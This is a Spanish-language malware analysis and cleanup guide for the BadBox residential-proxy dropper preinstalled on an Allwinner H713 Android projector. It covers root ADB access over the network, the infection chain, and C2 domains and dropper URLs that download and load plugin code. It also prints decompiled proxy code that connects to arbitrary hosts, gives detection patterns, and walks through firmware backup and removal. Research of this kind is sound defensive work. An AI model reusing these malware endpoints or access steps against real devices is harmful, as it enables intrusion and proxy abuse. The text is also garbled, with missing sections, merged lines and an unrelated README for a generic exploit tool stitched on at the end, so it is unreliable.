
Guía de análisis y limpieza del malware BadBox en proyectores Android Allwinner H713: acceso ADB, prueba de infección, copia de seguridad del firmware, eliminación del dropper y verificación.
26 sep 2026 · @R
Un proyector Android barato (Wielo / Atongmu AT-M269, Allwinner H713) viene con un dropper a nivel de sistema que lo convierte en un nodo de proxy residencial. Este documento muestra cómo acceder sin abrir la carcasa, demostrar la infección, hacer una copia de seguridad del firmware, eliminar el malware y verificar el resultado.
Proyector LCD sin marca vendido bajo marcas cambiantes. La placa y el firmware son compartidos entre muchos proyectores H713 (clones del HY300 y otros), por lo que todo lo aquí expuesto se aplica de forma más amplia.
| Propiedad | Valor |
|---|---|
| Vendido como | Wielo Smart Projector, modelo AT-M269 (FCC ID 2BAAR-AT-M269D) |
| Fabricante | Shenzhen Atongmu Technology; firmware y aplicaciones del OEM "ASHD" |
| Revisión de hardware | persist.sys.cm.hardversion = AT-M269_720P_HP_202410221430 |
| SoC | Allwinner H713M (ro.boot.hardware = sun50iw12p1), quad Cortex-A53; placa exdroid, plataforma ares |
| RAM / almacenamiento | 1 GB DDR @ 576 MHz / 8 GB eMMC (7.818.182.656 bytes) |
| Wi-Fi / Bluetooth | AIC8800 (aic8800d80, controlador rwnx 6.4.3.0) |
| Kernel | Linux 5.4.99, 32 bits (armv7l), compilado el 8 dic 2025 |
| Compilación real | h713m_tuna_p3-user 11 RP1A.201005.006 eng.work3.20251208.154308 release-keys, firmware H713M-android11-v1.0, host de compilación ishang-PC |
| SO | Android 11 (SDK 30), compilación user, parche de seguridad 2022-02-05 |
| Disfraz | Se reporta como Google ADT-3 (marca/modelo/dispositivo, fabricante askey); modelo real en ro.product.model2 = AT-M269 |
| Particiones / arranque | A/B virtual, slot activo _b, particiones dinámicas (retrofit) en super; AVB 2.0, vbmeta.device_state = locked, verifiedbootstate vacío; desbloqueo OEM no permitido; /system 100% lleno |
| Seguridad | ro.debuggable=1, ro.adb.secure=0, service.adb.root=1, ADB en tcp/5868, SELinux permisivo, permisos privapp permissive, claves de prueba AOSP |
| Valores regionales predeterminados | Zona horaria Asia/Shanghai, área DTV cn / DTMB |
adb shell getprop ro.product.model # ADT-3 <- spoofed, to pass Google certification adb shell getprop ro.product.model2 # AT-M269 <- real model adb shell getprop ro.board.platform # ares, H713 platform name adb shell getprop ro.build.type # user <- release build
## 2. Entrar
ADB está escuchando en la red, en un puerto no estándar, sin solicitud de autorización y con permisos de root.```
# 1. Find open ports (projector on an isolated network)
nmap -p- 10.56.215.10
# 5868/tcp open <- nmap guesses "diameters"; it is actually adbd
# 2. Confirm from the device side (e.g. via Termux on the projector)
getprop service.adb.tcp.port # 5868
getprop ro.adb.secure # 0 -> no "allow debugging?" prompt
getprop init.svc.adbd # running
# 3. Connect from a computer
adb connect 10.56.215.10:5868
adb root
adb shell id # uid=0(root)
adb shell 'echo adb_keepalive > /sys/power/wake_lock' # keep CPU/Wi-Fi awake (needs root adbd) adb shell cat /sys/power/wake_lock # adb_keepalive must be listed adb shell input keyevent KEYCODE_SLEEP # display + lamp off, ADB stays connected
adb shell input keyevent KEYCODE_WAKEUP # lamp on adb shell 'echo adb_keepalive > /sys/power/wake_unlock' # release the wakelock
`/sys/class/backlight/tv` > `brightness`/`bl_power` no tienen efecto.
## 3. Cadena de infección
Dos aplicaciones del sistema preinstaladas se ejecutan como el usuario del sistema (UID 1000). Una descarga un cargador, el cargador descarga cuatro módulos proxy y un segundo cargador independiente.```
Firmware (preinstalled, UID 1000)
├─ com.android.sysapp /system/priv-app/AshdSysApp
│ OTA updater, can replace the whole firmware (update.zip / payload.bin)
│ C2: wjtysj.ishanghd.com/hx_kt.php
│
└─ com.android.umanalytics.yiyou /system/app/AndroidAnalytics_yiyou
Dropper; Umeng + Baidu tracking
└─ downloads cache/plugin.jar (DEX, from *.ishanghd.com)
├─ app installer: pulls app lists per device profile, pm install -r
│ └─ installs Disney+ etc. and com.google.adtest (payload)
└─ "hs" task loader, C2 api.loritor.cc / api.nizero.cc, every 6 h
└─ 4 encrypted modules code_cache/.hs/.file/.rf/*.rf
SKN0041 com.ad.proxy SKN0054 com.szns.sdk
SKN0058 com.link.core SKN0061 ddth2 (VpsSdk)
-> all four: residential proxy clients
com.google.adtest (/data/app, installed by yiyou)
Second loader "com.speed", own C2 (api.logobi.cc, api.pechlo.cc, ...)
Native plugin loader, may install/delete packages -> backup channel
> el tráfico de internet de desconocidos enrutado a través de tu conexión, y tu dispositivo es rastreado (serial, MACs, Wi-Fi SSID/BSSID).
adb shell "netstat -tnp | grep ESTABLISHED"
### **b) Quién instaló qué**```bash
adb shell pm list packages -i | grep -v 'installer=null\|com.android.vending'
# package:com.google.adtest installer=com.android.umanalytics.yiyou <- payload
# package:com.disney.disneyplus installer=com.android.umanalytics.yiyou <- cover
# -> a system "analytics" app installing packages = dropper
adb shell dumpsys package com.google.adtest | grep -E 'codePath|firstInstallTime'
# fake Google name, lives in /data/app, installed silently
adb shell 'ls -laR /data/data/com.android.umanalytics.yiyou' | grep -E 'plugin.jar|.rf|files/apps'
### **d) Configuración a nivel de sistema**```bash
adb shell getprop ro.product.model
# ADT-3 (spoofed)
adb shell dumpsys package com.android.sysapp | grep sharedUser
# android.uid.system -> runs with system privileges
adb shell dumpsys package com.android.sysapp | grep -E 'INSTALL_PACKAGES|RECOVERY|MASTER_CLEAR'
# unnamed OEM app that may install apps, flash firmware and wipe the device
adb shell cat /system/etc/init/qw.rc
# service qw /system/bin/qw --daemon user root
El malware está integrado directamente en el firmware. La fecha de compilación es eng.work3.20251208.154308, el kernel se compiló el Mon Dec 8 15:27:38 CST 2025. Los registros de yiyou muestran que estaba en ejecución ese mismo día:```
session_recent_visit: [{"day":20251208,"count":1}, {"day":20260910,...}, ...]
1765179258896 -> 2025-12-08 07:34 UTC = 15:34 CST, ~7 min after the kernel build
### **f) Malware en la imagen del sistema firmada por el proveedor y de solo lectura**
Un usuario o una app posterior no puede colocar archivos en `/system`. Forma parte de `super`, protegido por dm-verity y firmado mediante `vbmeta`.
## 5. Descripción general de la arquitectura del malware
### 5.1. Componentes principales
| Componente | Ubicación | Qué hace |
| --------------------------------- | ---------------------------- | --------------------------------------------------------------------------------------------------------------- |
| `com.android.umanalytics.yiyou` | `/system/app`, UID 1000 | Descarga y ejecuta `plugin.jar`; envía serial, MACs, android_id, Wi-Fi SSID/BSSID, MAC de Bluetooth a Umeng/Baidu |
| `plugin.jar` (DEX) | yiyou `cache/` | Dos partes: instalador de apps (listas de apps por dispositivo, más de 40 perfiles para H713/RK3326/HY300) y el cargador de tareas "hs" |
| Cargador de tareas "hs" | dentro de `plugin.jar` | Consulta el C2 cada 6 h en busca de tareas de tipo `jar`, `dex` o `apk`; descarga, verifica MD5, ejecuta |
| SKN0041 `com.ad.proxy` | módulo `.rf` | Túnel TCP/UDP/ICMP, heartbeat, inicio de sesión/reporte |
| SKN0054 `com.szns.sdk` | módulo `.rf` | Nodo proxy más escaneo UDP desde tu red |
| SKN0058 `com.link.core` | módulo `.rf` | Cliente proxy con sus propios resolutores DNS |
| SKN0061 `ddth2` / VpsSdk | módulo `.rf` | Puerta de enlace proxy, muchas instancias de cliente en paralelo |
| `com.google.adtest` ("com.speed") | `/data/app` | Segundo cargador con cargador de plugins nativo; instala/elimina paquetes; se reinicia ante eventos de arranque, red, HDMI y energía |
| `com.android.sysapp` | `/system/priv-app`, UID 1000 | Actualizador OTA: puede descargar y flashear una imagen de firmware completa |
| Archivos Widevine | `/data/mediadrm/IDM1013/L3/` | `plugin.jar` deja caer un paquete de claves/licencias DRM para que las apps de streaming funcionen en el dispositivo no certificado |
### 5.2. Cómo se mantienen ocultas las piezas```
# C2 hostnames are not in plain text: gzip + Base64 + AES-CFB with a hardcoded key.
# decrypted: api.loritor.cc (master), api.nizero.cc (slave)
# DNS is resolved via DNS-over-HTTPS (dns.google, cloudflare-dns.com, doh.pub, 223.5.5.5)
# -> router DNS blocking alone misses it
# .rf module layout (per file):
# [version][...][salt:32 bytes][invocation: AES][module: AES][DSA signature]
# invocation = {"cn":"com.hotota.p.d.MainApi","m_init":"start_W00xx","m_uninit":"stop"}
# module = an APK whose classes.dex is loaded with DexClassLoader
# Modules are signed, so only the operator can push new ones.
shared_prefs/info.xml wifiinfo: ssid, bssid, device MAC, IP; blueinfo: BT MAC; accelerometer samples shared_prefs/umeng_*.xml appkey 61c17582e014255fcbc1a9af, channel ashd-analytics umeng_general_config.xml first_activate_time = 2 Mar 2026, successful_request = 218 hs.prefs_1.xml periods=21600 (6 h), last.trackerid = SKN0061
### 5.4. Movimiento lateral
**Sin movimiento lateral automático, pero una puerta hacia la LAN**
> Pero **SKN0041** y **SKN0058** retransmiten a cualquier objetivo los nombres que indique la puerta de enlace, y SKN0041 también puede hacerle ping bajo demanda. Cualquiera que alquile el proxy puede alcanzar o sondear la LAN manualmente.
- `plugin.jar`
- módulos `.rf` descifrados SKN0041/54/58/61
- `com.google.adtest`, yiyou, sysapp
- `com.android.nfx` (NFXAccessibility)
- nativo: `qw`, `systemmixservice`, `libsystemmix_jni.so`, `libsystemmixservice.so````bash
grep -rlE 'ServerSocket|DatagramSocket|MulticastSocket|NetworkInterface|getDhcpInfo|/proc/net/arp|239\.255\.255\.250|224\.0\.0\.251|:5555|telnet|isReachable|NsdManager|JmDNS|UPnP|Cling|SSDP|WifiP2pManager|getBroadcast|broadcastAddress|SubnetMask|prefixLength|getLinkAddresses|InterfaceAddress' analysis/decompiled/*/sources
grep -rlE 'Runtime\.getRuntime\(\)\.exec|ProcessBuilder' analysis/decompiled/*/sources
|| str.matches("^192\\.168\\..*") || str.matches("^127\\..*")
// no 169.254.0.0/16 clause and no IPv6 form here, a link-local or IPv6 LAN target slips through
// SKN0061 ddth2/hidden/F.java - InetAddress's own range checks, covers link-local and IPv6 too !a.isAnyLocalAddress() && !a.isLoopbackAddress() && !a.isLinkLocalAddress() && !a.isSiteLocalAddress() && !a.isMulticastAddress()
// SKN0041 com/ad/proxy/b/Q.java - "url init" command: fetches any URL, no check InetAddress byName = InetAddress.getByName(host); createSocket.connect(new InetSocketAddress(byName, port), 10000);
// SKN0058 com/link/core/a/e.java - connects to the server-supplied address, no check this.c.connect(new InetSocketAddress(inetAddress, this.d));
El conjunto completo de comandos de SKN0041, desde la tabla de despacho en `com/ad/proxy/b/a0.java`:
| Opcode | Handler | Hace |
| ------ | ---------- | ---------------------------------------------------------------------------------- |
| 1 / 2 | U / V | solicitud / respuesta de heartbeat |
| 3 | W | abre una conexión TCP cruda a un host:puerto proporcionado por el operador, sin verificación de dirección |
| 5 / 7 | X / Y | envío / cierre tcp en una transacción abierta |
| 8 | Z | abre una sesión UDP cruda a un host:puerto proporcionado por el operador, sin verificación de dirección |
| 11 | K | cierre udp |
| 12 | L → P.java | ejecuta `ping -c 10 <host>` en un host proporcionado por el operador, retransmite la salida completa |
| 14 | M → Q.java | obtiene una URL proporcionada por el operador, sin verificación |
Ninguno de estos opcodes filtra por rango de IP.
El servidor de retransmisión de video `plugin.jar` (`com.cloudmedia.tv.server.d`, un fork de NanoHTTPD que sirve reescrituras de streams de Aiqiyi/Youku/CIBN) se enlaza sin host configurado, lo que significa todas las interfaces, accesible desde la LAN, no solo localhost, si arranca. Su único punto de entrada es `ParserUtils.AnalyticsHelper()`, detrás de `getprop ro.board.platform == "rk3188"`. Esta unidad reporta `ares` (H713), por lo que la puerta permanece cerrada.
Estado del dispositivo en vivo: `netstat -tnp` muestra solo screen-cast por loopback (`com.android.toofifi` en `127.0.0.1:5354`), GMS hacia Google sobre IPv6, y la sesión ADB. Ningún proceso `yiyou`, `sysapp`, `speed`, `umanalytics` o `adtest` en ejecución.
La interfaz Binder de `systemmixservice` (lectura/escritura/eliminación arbitraria de archivos y establecimiento de propiedades como root, accesible por cualquier app en el dispositivo) es una escalada de privilegios local. Eliminar el dropper y no instalar APKs no confiables la cierra.
## 6. Indicadores
Los indicadores de red (dominios, URLs, IPs) están en la [sección 11](#11-consolidated-hosturl-list-for-abuse-reports).
### 6.1. Paquetes
| Paquete | Ubicación | Rol |
| --------------------------------------------------------------- | ------------------------------------------------------- | ---------------------------------------------------------------- |
| `com.android.umanalytics.yiyou` | `/system/app/AndroidAnalytics_yiyou`, UID 1000 (system) | dropper |
| `com.android.sysapp` (AshdSysApp) | `/system/priv-app/AshdSysApp`, UID 1000 (system) | backdoor de canal OTA |
| `com.google.adtest` (nombre real `com.fotas.wanapp`, "com.speed") | `/data/app` | segundo loader |
| `com.cloudmedia.testapk` | `/system/app` | app de prueba de fábrica del OEM, eliminada junto con el dropper en la sección 8 |
| `com.disney.disneyplus` | `/data/app` | app de cobertura instalada por el dropper |
| `com.android.nfx` | `/system/priv-app/NFXAccessibility` | conservada, inofensiva (asistente de control remoto de Netflix) |
### 6.2.Binarios
| Binario | Servicio init | Qué hace |
| ---------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `/system/bin/qw` | **`qw`**: `class core`, `user root`, se ejecuta permanentemente desde el arranque | Demonio su de Superuser/ClockworkMod (abre sockets `/dev/com.koushikdutta.superuser` + `.daemon`). |
| `/system/bin/appsdisable` | **`appsdisable`**: disparado por `on property:sys.boot_completed=1`, `disabled`+`oneshot` | Tras una espera de 4 s en el arranque (`settings ... global start_disable`), encuentra cada paquete instalado con un receptor `BOOT_COMPLETED` cuyo componente comienza con `com.google.android` y lo `pm disable` para matar las propias verificaciones de Google en el arranque, como el escaneo de Play Protect y los servicios centrales de GMS. |
| `/system/bin/gmsopt` | **`gmsopt`**: mismo disparador y flags que appsdisable | Mismo comportamiento de deshabilitar receptores de arranque de Google que appsdisable pero excluyendo `com.google.android.permissioncontroller`. Redundante. |
| `/system/bin/systemmixservice` (+ `libsystemmix_jni.so`, `libsystemmixservice.so`) | **`systemmix`**: `class main`, `user root`, `oneshot` | ¿Nativo del OEM? Propósito no determinado completamente pero es grupo root. |
### 6.3. Archivos y directorios
| Ruta | Qué |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------- |
| `/data/data/com.android.umanalytics.yiyou/cache/plugin.jar` | loader "hs" descargado / DEX instalador de apps |
| `/data/data/com.android.umanalytics.yiyou/code_cache/.hs/.file/.rf/*.rf` | módulos proxy cifrados (SKN0041/54/58/61) |
| `/data/data/com.android.umanalytics.yiyou/files/apps/com.google.adtest.apk` | copia del payload almacenada para reinstalación silenciosa |
| `/data/data/com.android.umanalytics.yiyou/files/libcuid.so` | librería nativa auxiliar de ID de dispositivo |
| `/data/data/com.android.umanalytics.yiyou/databases/ua.db` | base de datos de sesión de Umeng |
| `/data/data/com.android.umanalytics.yiyou/shared_prefs/{info.xml, umeng_*.xml, hs.prefs_1.xml, hs.cuid.v1.xml, vps_sdk_prefs.xml, Plugin.xml, baidu_mtj_sdk_record.xml, ...}` | preferencias de rastreo/configuración |
| `/data/data/com.android.sysapp/shared_prefs/SHARE.xml` | preferencias de estado de descarga OTA |
| `/data/mediadrm/IDM1013/L3/` | paquete Widevine L3 DRM depositado |
| `/data/local/tmp/*`, `/data/ota_package/tmp/*` | espacio temporal/sobrante usado por el loader y el cliente OTA |
### 6.4. Hashes de muestras
| Muestra | SHA-256 |
| ------------------------------- | ------------------------------------------------------------------ |
| `plugin.jar` | `e2e5f86df18e0cdef9595bd886280f158001250f1565fa3e6dfe492b114be6f7` |
| SKN0041 (descifrado) | `d7b26e53ade1cfcd283bfbbc5de7f792e8f8d441d74162eeef7e8a7c83ed5dba` |
| SKN0054 (descifrado) | `ba3b320791b80dae25d07e17e43d4b11b5c5a0d8b989fdb4a7f47ccb39201307` |
| SKN0058 (descifrado) | `60ade80fcd0a1c5bb3f62e76cd056b0e8034fdbe1e9834c335c0e60d99d12742` |
| SKN0061 (descifrado) | `fcffed775c6d6967bd40e4fa5b529f9fd301b3ebd64a555c756943d1e863fea7` |
| `com.google.adtest.apk` | `1298662eb6d087aa1e6f967d50581e998b5897ec1563bdf96589540845874110` |
| `AndroidAnalytics_yiyou.apk` | `c4910d6fa666eff03bdc683423f7f2585cb263f8dcbf5f1fe7a1e2643eb384aa` |
| `AshdSysApp.apk` | `f9cd44d359c9b0c92ddb8b868665a3e8edd54a19cc21a35fb2fba7dbdf36bb5a` |
| `L3.zip` (paquete Widevine) | `8367725743c27ed1fd49d5eb086e7b260cfcf38a825a8892ce31b45e767e228f` |
| `favorite.ico` (config de SKN0054) | `8d64d2982f8f5cb01ad1bbce53861e09eae2884fe8c545ac9023b636c8f5ffa2` |
## 7. Respaldo
No parece haber firmware publicado para este modelo, y el servidor OTA del fabricante obtenido por ingeniería inversa tampoco devuelve nada.```
# Simple one-shot dump (fine over USB; over Wi-Fi it can stall)
adb exec-out "dd if=/dev/block/mmcblk0 bs=4M 2>/dev/null" > mmcblk0.img
adb shell 'ls /dev/block/mmcblk0boot*' # eMMC boot areas, dump them too if present
Por Wi-Fi, use los scripts auxiliares
dump-pull.sh [ip:port|usb] [file] extrae en fragmentos de 256 MB con una verificación de tamaño y reintentos. Volver a ejecutarlo continúa en el último fragmento completo. Antes de leer, vuelve a montar /data con background_gc=off,nodiscard, sincroniza y espera 10 s. Por USB también ejecuta adb shell stop. Ambos se deshacen al salir (remontar background_gc=on,discard, start). UDISK es /data y permanece activo, por lo que su hash aún puede diferir de una ejecución a otra.dump-verify.sh [ip:port|usb] [file] [-y] verifica el tamaño, las cabeceras GPT, las áreas de arranque y cada partición (SHA-256 del dispositivo vs. el mismo rango de bytes en la imagen). Lee y parchea cualquier sección que no coincida. En una pasada limpia escribe mmcblk0.img.sha256.```p=$(adb shell readlink /dev/block/by-name/super | xargs basename) # e.g. mmcblk0p9 s=$(adb shell cat /sys/block/mmcblk0/$p/start) # start sector (512 B) z=$(adb shell cat /sys/block/mmcblk0/$p/size) # size in sectors adb shell sha256sum /dev/block/by-name/super # hash on the device tail -c +$((s512+1)) mmcblk0.img | head -c $((z512)) | shasum -a 256 # same range in the image
### Restaurar ruta
Entra en Allwinner FEL, luego flashea con PhoenixUSBPro mediante un cable USB-A a USB-A.
No hay un pin hole externo para arrancar en FEL: `adb reboot efex` o `fastboot oem efex`.
Posible alternativa por hardware: el pad FEL en la placa, visible en las fotos internas de la FCC (requiere abrir la carcasa). El flasheo necesita un `update.img` IMAGEWTY, construido a partir de tu dump con `awimg.py` ([well0nez/magcubic-root](https://github.com/well0nez/magcubic-root)) y una plantilla H713.
FEL es solo escritura. PhoenixSuit y PhoenixUSBPro no pueden leer la eMMC de vuelta, y `sunxi-fel` no tiene un layout de SRAM para el H713, solo funcionan los comandos de solo lectura ([sunxi-tools #226](https://github.com/linux-sunxi/sunxi-tools/issues/226)).
El dump por ADB de arriba sigue siendo el método de respaldo.
### **Modos de arranque**
La unidad es A/B (`ro.build.ab_update=true`) con el slot `_b` activo. No hay partición `recovery`: el recovery vive en el ramdisk de boot. La consola serie de U-Boot es `ttyS0` a 115200 baudios.
| Modo | Cómo entrar | Nivel | Estado |
| --------------- | ------------------------------------------------------------------------------------------------------------ | --------------------- | ------------------------------------------------------------------------------------------- |
| Android | encendido normal, `adb reboot` | kernel | funciona |
| Recovery | `adb reboot recovery` | boot ramdisk | funciona, menú abajo |
| fastbootd | menú de recovery: Enter fastboot | userspace en recovery | entra |
| U-Boot fastboot | menú de recovery: Reboot to bootloader, o `adb reboot bootloader` | U-Boot | funciona (macOS necesita el fix de abajo) |
| U-Boot efex | `fastboot oem efex` desde U-Boot fastboot, o `adb reboot efex` (U-Boot también tiene un disparador remoto `ir-efex`) | U-Boot | funciona vía `fastboot oem efex` y vía `adb reboot efex`: `1f3a:efe8`, el handshake FEL responde |
| BootROM FEL | pad de prueba FEL | SoC BootROM | sin probar |
### **Menú de recovery:**
- Reboot system now
- Reboot to bootloader
- Enter fastboot
- Apply update from ADB
- Apply update from SD card
- Wipe data/factory reset
- Mount /system
- View recovery logs
- Run graphics test
- Run locale test
- Enter rescue
- Power off
### **ADB por USB**
el socket que ocupa USB0 (`ohci0`) funciona como host por defecto. Cambia a modo dispositivo hasta el siguiente reinicio con:```
adb shell cat /sys/devices/platform/soc@2900000/soc@2900000:usbc0@0/usb_device
adb -d shell id
U-Boot fastboot no detectado
el gadget aparece como 1f3a:1010 ("USB Developer"), y su interfaz es el fastboot estándar ff/42/03. Su clase de dispositivo es ff, sin embargo, el sistema operativo (macOS en este caso) parece no configurar una configuración y fastboot devices permanece vacío.
Si esto ocurre, la solución es establecer la configuración una vez con pyusb, y luego usar fastboot con normalidad:```
brew install libusb python3 -m venv ~/venvs/fastboot source ~/venvs/fastboot/bin/activate pip install pyusb
source ~/venvs/fastboot/bin/activate python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0x1010).set_configuration()' fastboot devices
### **FEL/efex**
Desde el fastboot de U-Boot, `fastboot oem efex` cambia al gadget efex `1f3a:efe8`. (Puede que necesite la misma corrección de `set_configuration()`)
**Compilación de Sunxi-tools desde el código fuente**```
# one-time: build sunxi-fel
brew install libusb dtc pkg-config
git clone https://github.com/linux-sunxi/sunxi-tools
cd sunxi-tools && make sunxi-fel
sudo cp sunxi-fel /usr/local/bin/ # optional, else call ./sunxi-fel
# enter efex and check the handshake (read-only)
fastboot oem efex
source ~/venvs/fastboot/bin/activate
python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0xefe8).set_configuration()'
sunxi-fel --list --verbose
sunxi-fel version
AWUSBFEX soc=00001860(unknown) 00000001 ver=0001 44 08 scratchpad=00121500 00000000 00000000.
Use only version and --list, never spl, uboot, write or exe since sunxi tools doesnt know the chipset.
To leave FEL, unplug USB first, then power off until the blue led on the projector switches off. wdreset does not work without SoC data.
mkdir -p evidence && cd evidence adb shell getprop > getprop.txt adb shell pm list packages -f -i -U > packages.txt adb shell "netstat -tnp" > netstat.txt adb shell 'ls /system/etc/init /vendor/etc/init' > init-files.txt
adb pull /system/app/AndroidAnalytics_yiyou adb pull /system/priv-app/AshdSysApp adb pull "$(adb shell pm path com.google.adtest | cut -d: -f2)" adtest.apk
adb exec-out 'tar -cf - /data/data/com.android.umanalytics.yiyou /data/data/com.android.sysapp' > appdata.tar tar -tvf appdata.tar | grep -E '.jar|.rf|.apk|.xml' # check nothing is missing find . -type f -exec shasum -a 256 {} + > ../SHA256SUMS
### 8.2. Eliminación```
# System apps (UID 1000): cannot be deleted from /system without a firmware rebuild.
# Stop, disable, wipe data for user 0 -> inert for the running system, survives reboots.
for p in com.android.umanalytics.yiyou com.android.sysapp com.cloudmedia.testapk; do
adb shell am force-stop $p
adb shell pm disable-user --user 0 $p
adb shell pm clear $p
done
adb shell pm uninstall com.google.adtest
# I removed this too for safety
adb shell pm uninstall com.disney.disneyplus
# Leftovers
adb shell 'rm -rf /data/local/tmp/* /data/ota_package/tmp/*'
adb reboot
Conservado, probablemente inofensivo:
qw (demonio su, solo eliminable editando /system, accesible únicamente de forma local)appsdisable, gmsopt, systemmixservicecom.android.nfx (asistente de control remoto de Netflix)Comprobación anti-manipulación
Desinstalar yiyou rompe Ajustes. El checkSHA1() de com.ashd.settings tiene dos comprobaciones:
CD:B1:B7:56:85:FE:16:C2:7E:4C:45:59:54:43:AC:B0:1F:68:40:91, 60:35:FD:9E:68:E9:20:C2:B5:B0:7C:F2:B5:10:F2:83:47:06:DE:15, 6E:40:BA:7F:F7:90:7D:40:C2:F1:6D:12:E4:63:E5:E4:A3:F1:5A:01, 27:19:6E:38:6B:87:5E:76:AD:F7:00:E7:EA:84:E4:C6:EE:E3:3D:FA, F6:08:8C:ED:B9:9A:EC:82:A7:7D:F3:F9:01:97:06:BE:C0:65:E4:9A)com.android.umanalytics.yiyou, (o com.android.umanalytics.kege, probablemente el nombre del dropper en otras compilaciones de firmware), está registrado para el usuario 0.Ambas rutas de fallo registran 签名校验失败,关闭应用 ("fallo en la verificación de firma, cerrando la aplicación"). Desinstalar por completo yiyou (en lugar de solo deshabilitarlo, como se indicó antes) provoca esto. adb shell pm install-existing com.android.umanalytics.yiyou restaura el registro sin volver a habilitarlo.
adb connect 10.56.215.10:5868
adb shell pm list packages | grep -iE 'yiyou|sysapp|adtest|speed|testapk' # expect: nothing adb shell ps -A | grep -iE 'yiyou|sysapp|speed|umanalytics' # expect: nothing adb shell 'ls /data/data/com.android.umanalytics.yiyou 2>&1' # expect: No such file adb shell "netstat -tnp | grep ESTABLISHED"
adb shell pm list packages -3 -i # new apps? check their installer
**Resultados en esta unidad tras la limpieza y el reinicio:**```
adb shell "netstat -tnp"
# tcp 127.0.0.1:52992 127.0.0.1:5354 ESTABLISHED 3351/com.android.toofifi <- local screen-cast service
# tcp 127.0.0.1:52994 127.0.0.1:5354 ESTABLISHED 3351/com.android.toofifi
# tcp6 10.56.215.10:5868 <your computer> ESTABLISHED 5332/adbd <- your ADB session
# -> no outbound connections left (before: ~25 from yiyou)
Repite la comprobación de netstat después de 24 horas (el loader se comunica cada 6 horas) y busca coincidencias en la lista de bloqueo desde la IP del proyector en tus registros de DNS y firewall.
/system en modo lectura-escritura para eliminar los APK: vbmeta está bloqueado, /system está 100% lleno, por lo que adb disable-verity + adb remount crearía una superposición en /data (se pierde al restablecer de fábrica, igual que pm uninstall --user 0) con el riesgo de un fallo de arranque.super en tu volcado y flashearlo mediante FEL. Sin probar.```
adb shell getprop ro.boot.vbmeta.device_state # locked
adb shell getprop ro.boot.verifiedbootstate # (empty)
adb shell df -h /system # 1.1G 1.1G 3.4M 100%### 8.5. Bloatware```
adb shell pm disable-user --user 0 com.android.toofifi
adb shell pm disable-user --user 0 com.toofifi.lineserver
adb shell pm disable-user --user 0 com.toofifi.miracast
adb shell pm disable-user --user 0 com.mphotool.usbcastserver
adb shell pm disable-user --user 0 com.rockchip.devicetest
Revierte con pm enable --user 0 <package>
com.android.toofifi: servicio principal de screencast. Pierdes la duplicación de pantalla (transmisión estilo Miracast/AirPlay) desde teléfonos y portátiles.com.toofifi.lineserver: servidor de pantalla por cable/USB para el mismo stack, se conecta a server.mphotool.com:8680 para verificaciones de licencia. Pierdes el modo de pantalla por cable.com.toofifi.miracast: receptor inalámbrico Miracast, llama a server.mphotool.com:8680/MPAPI/System/CheckUpdate y sube registros de uso a mphotool.com/FeituAppLogMgr. Pierdes la transmisión inalámbrica.com.mphotool.usbcastserver: servidor de transmisión por USB, mismo proveedor. Pierdes el soporte de transmisión por USB desde el dispositivo.com.rockchip.devicetest: Sin razón para estar en una unidad Allwinner.Análisis estático. Las fuentes descompiladas sin procesar, los módulos .rf descifrados y los scripts utilizados se conservan en analysis/ (decompiled/, decrypted_modules/, tools/).
com.android.sysapp
Las clases descompiladas a.a.b.m/a.a.b.n dan la solicitud OTA exacta y literal:```
POST http://wjtysj.ishanghd.com/hx_kt.php?act=project&do=getPackageInfo
&productid=<ro.android.productid, default "74865231">
&device_mode=<persist.sys.cm.dtsmodel, e.g. "AT-M269">
&devices_version=<ro.build.version.incremental>
&update_type=1|2 # 1 auto check, 2 forced ("check for update" button)
via Apache `HttpPost` con cuerpo de formulario vacío. Todo está en la cadena de consulta, por lo que GET y POST son equivalentes y no hay firma/token. Reproducido en vivo (2026‑09‑26): `{"code":200,"data":[]}`, parece no tener paquete para este productid, en cualquier versión probada.
### 9.2 Dropper
`com.android.umanalytics.yiyou`
**Autoactualización** (`http.utils.UpdateUtils.checkUpdate`)
`GET http://ty.ishanghd.com/work/app/wj/factory/update.json` entrega `DownLoadURL` con `MD5` y `VersionCode`, que se descarga, se verifica el MD5, `PkgUtils.install(path, 1)` y se autorreemplaza silenciosamente.
**Obtención de `plugin.jar`** (`MyService`)
`GET http://isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.json` entrega `plugin.jar`, que se descarga en `<cache>/plugin.jar` y se carga con `DexClassLoader`. `com.anlytics.plug.ParserUtils.AnalyticsHelper("test")` es el punto de entrada.
**Perfil de lista de aplicaciones por dispositivo**
Estas son las aplicaciones personalizadas para cada dispositivo en la campaña (¿probablemente parcheadas para eludir DRM?)
`com.anlytics.plug.b` toma la huella de la placa (`ro.board.platform`, `persist.sys.cm.dtsmodel`, `ro.sys.cputype`, `ro.build.version.release`, paquetes instalados, archivos como `/system/etc/voice.tar.gz`) contra 40 perfiles codificados y elige la URL `appsinfo/.../infos*.json` adecuada de las constantes en `com.tools.a`.
Esta unidad incluye `com.ashd.launcher10` y reporta `persist.sys.cm.dtsmodel=AT-M269` / placa `ares` y el único perfil H713 "launcher10" en la tabla es:```
http://ty.ishanghd.com/work/app/wj/appsinfo/H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json
| --list | List all available modules |
| --module <name> | Run a specific module |
| --output <file> | Save results to a file |
| --verbose | Enable verbose output |
| --threads <n> | Number of concurrent threads |
| --timeout <seconds> | Request timeout in seconds |
| --proxy <url> | Use a proxy for requests |
| --user-agent <string> | Set a custom User-Agent header |
| --no-color | Disable colored output |
| --config <file> | Load configuration from a file |
| --version | Show version information |
| --help | Show help message |
# List all modules
python3 tool.py --list
# Run a specific module
python3 tool.py --module recon --target example.com
# Save output to a file
python3 tool.py --module scan --output results.txt
# Use a proxy
python3 tool.py --module scan --proxy http://127.0.0.1:8080
The tool can be configured using a YAML configuration file. By default, it looks for config.yaml in the current directory.
# config.yaml
timeout: 30
threads: 10
user_agent: "Mozilla/5.0"
proxy: null
verbose: false
The recon module performs reconnaissance on the target, including DNS enumeration, subdomain discovery, and port scanning.
The scan module performs vulnerability scanning against the target using a set of predefined checks.
The exploit module attempts to exploit known vulnerabilities. Use with caution and only on systems you own or have permission to test.
Contributions are welcome! Please follow these steps:
